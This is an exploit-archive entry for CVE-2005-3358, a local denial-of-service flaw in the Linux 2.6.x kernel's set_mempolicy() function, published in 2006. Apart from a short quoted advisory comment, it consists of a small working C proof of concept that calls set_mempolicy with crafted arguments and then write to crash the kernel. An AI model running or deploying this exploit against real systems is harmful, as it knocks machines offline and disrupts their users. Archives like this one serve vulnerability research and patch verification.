Linux Kernel 2.6.x - SET_MEMPOLICY Local Denial of Service

Related Vulnerabilities: CVE-2005-3358  
Publish Date: 04 Jan 2006
Author: Doug Chapman
                							

                /*
source: http://www.securityfocus.com/bid/16135/info

Linux kernel is prone to a local denial-of-service vulnerability.

This issue affects the 'set_mempolicy()' function of the 'mm/mempolicy.c' file.

Successful exploitation causes the kernel to crash, leading to a denial-of-service condition. 
*/


#include <asm/unistd.h>

main(){
        syscall(__NR_set_mempolicy,3,0,0);
        write(1,10,8192);
}